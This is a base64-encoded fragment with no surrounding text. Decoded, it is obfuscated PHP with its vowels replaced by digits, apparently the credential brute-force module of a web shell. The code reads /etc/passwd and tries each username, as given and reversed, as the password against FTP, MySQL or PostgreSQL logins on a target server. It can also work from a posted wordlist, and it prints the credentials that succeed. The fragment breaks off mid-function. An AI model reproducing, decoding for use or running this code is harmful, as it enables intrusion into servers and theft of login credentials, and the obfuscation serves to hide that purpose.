CRfUWxMNjQsJF9RbDQydCk7DQpmM25jdDQybiAxY3Q0Mm5CcjN0NWYycmM1KCkgew0KCXdzMkg1MWQ1cigpOw0KCTRmKCA0c3M1dCgkX1BPU1RbJ3ByMnQyJ10pICkgew0KCQk1Y2gyICc8aDY+UjVzM2x0czwvaDY+PGQ0diBjbDFzcz1jMm50NW50PjxzcDFuPlR5cDU6PC9zcDFuPiAnLmh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydwcjJ0MiddKS4nIDxzcDFuPlM1cnY1cjo8L3NwMW4+ICcuaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3M1cnY1ciddKS4nPGJyPic7DQoJCTRmKCAkX1BPU1RbJ3ByMnQyJ10gPT0gJ2Z0cCcgKSB7DQoJCQlmM25jdDQybiB3czJCcjN0NUYycmM1KCQ0cCwkcDJydCwkbDJnNG4sJHAxc3MpIHsNCgkJCQkkZnAgPSBAZnRwX2Mybm41Y3QoJDRwLCAkcDJydD8kcDJydDphNik7DQoJCQkJNGYoISRmcCkgcjV0M3JuIGYxbHM1Ow0KCQkJCSRyNXMgPSBAZnRwX2wyZzRuKCRmcCwgJGwyZzRuLCAkcDFzcyk7DQoJCQkJQGZ0cF9jbDJzNSgkZnApOw0KCQkJCXI1dDNybiAkcjVzOw0KCQkJfQ0KCQl9IDVsczU0ZiggJF9QT1NUWydwcjJ0MiddID09ICdteXNxbCcgKSB7DQoJCQlmM25jdDQybiB3czJCcjN0NUYycmM1KCQ0cCwkcDJydCwkbDJnNG4sJHAxc3MpIHsNCgkJCQkkcjVzID0gQG15c3FsX2Mybm41Y3QoJDRwLic6Jy4oJHAycnQ/JHAycnQ6b28wZSksICRsMmc0biwgJHAxc3MpOw0KCQkJCUBteXNxbF9jbDJzNSgkcjVzKTsNCgkJCQlyNXQzcm4gJHI1czsNCgkJCX0NCgkJfSA1bHM1NGYoICRfUE9TVFsncHIydDInXSA9PSAncGdzcWwnICkgew0KCQkJZjNuY3Q0Mm4gd3MyQnIzdDVGMnJjNSgkNHAsJHAycnQsJGwyZzRuLCRwMXNzKSB7DQoJCQkJJHN0ciA9ICJoMnN0PSciLiQ0cC4iJyBwMnJ0PSciLiRwMnJ0LiInIDNzNXI9JyIuJGwyZzRuLiInIHAxc3N3MnJkPSciLiRwMXNzLiInIGRibjFtNT1wMnN0Z3I1cyI7DQoJCQkJJHI1cyA9IEBwZ19jMm5uNWN0KCRzdHIpOw0KCQkJCUBwZ19jbDJzNSgkcjVzKTsNCgkJCQlyNXQzcm4gJHI1czsNCgkJCX0NCgkJfQ0KCQkkczNjYzVzcyA9IDA7DQoJCSQxdHQ1bXB0cyA9IDA7DQoJCSRzNXJ2NXIgPSA1eHBsMmQ1KCI6IiwgJF9QT1NUWydzNXJ2NXInXSk7DQoJCTRmKCRfUE9TVFsndHlwNSddID09IDYpIHsNCgkJCSR0NW1wID0gQGY0bDUoJy81dGMvcDFzc3dkJyk7DQoJCQk0ZiggNHNfMXJyMXkoJHQ1bXApICkNCgkJCQlmMnI1MWNoKCR0NW1wIDFzICRsNG41KSB7DQoJCQkJCSRsNG41ID0gNXhwbDJkNSgiOiIsICRsNG41KTsNCgkJCQkJKyskMXR0NW1wdHM7DQoJCQkJCTRmKCB3czJCcjN0NUYycmM1KEAkczVydjVyWzBdLEAkczVydjVyWzZdLCAkbDRuNVswXSwgJGw0bjVbMF0pICkgew0KCQkJCQkJJHMzY2M1c3MrKzsNCgkJCQkJCTVjaDIgJzxiPicuaHRtbHNwNWM0MWxjaDFycygkbDRuNVswXSkuJzwvYj46Jy5odG1sc3A1YzQxbGNoMXJzKCRsNG41WzBdKS4nPGJyPic7DQoJCQkJCX0NCgkJCQkJNGYoQCRfUE9TVFsncjV2NXJzNSddKSB7DQoJCQkJCQkkdG1wID0gIiI7DQoJCQkJCQlmMnIoJDQ9c3RybDVuKCRsNG41WzBdKS02OyAkND49MDsgLS0kNCkNCgkJCQkJCQkkdG1wIC49ICRsNG41WzBdWyQ0XTsNCgkJCQkJCSsrJDF0dDVtcHRzOw0KCQkJCQkJNGYoIHdzMkJyM3Q1RjJyYzUoQCRzNXJ2NXJbMF0sQCRzNXJ2NXJbNl0sICRsNG41WzBdLCAkdG1wKSApIHsNCgkJCQkJCQkkczNjYzVzcysrOw0KCQkJCQkJCTVjaDIgJzxiPicuaHRtbHNwNWM0MWxjaDFycygkbDRuNVswXSkuJzwvYj46Jy5odG1sc3A1YzQxbGNoMXJzKCR0bXApOw0KCQkJCQkJfQ0KCQkJCQl9DQoJCQkJfQ0KCQl9IDVsczU0ZigkX1BPU1RbJ3R5cDUnXSA9PSBhKSB7DQoJCQkkdDVtcCA9IEBmNGw1KCRfUE9TVFsnZDRjdCddKTsNCgkJCTRmKCA0c18xcnIxeSgkdDVtcCkgKQ0KCQkJCWYycjUxY2goJHQ1bXAgMXMgJGw0bjUpIHsNCgkJCQkJJGw0bjUgPSB0cjRtKCRsNG41KTsNCgkJCQkJKyskMXR0NW1wdHM7DQoJCQkJCTRmKCB3czJCcjN0NUYycmM1KCRzNXJ2NXJbMF0sQCRzNXJ2NXJbNl0sICRfUE9TVFsnbDJnNG4nXSwgJGw0bjUpICkgew0KCQkJCQkJJHMzY2M1c3MrKzsNCgkJCQkJCTVjaDIgJzxiPicuaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ2wyZzRuJ10p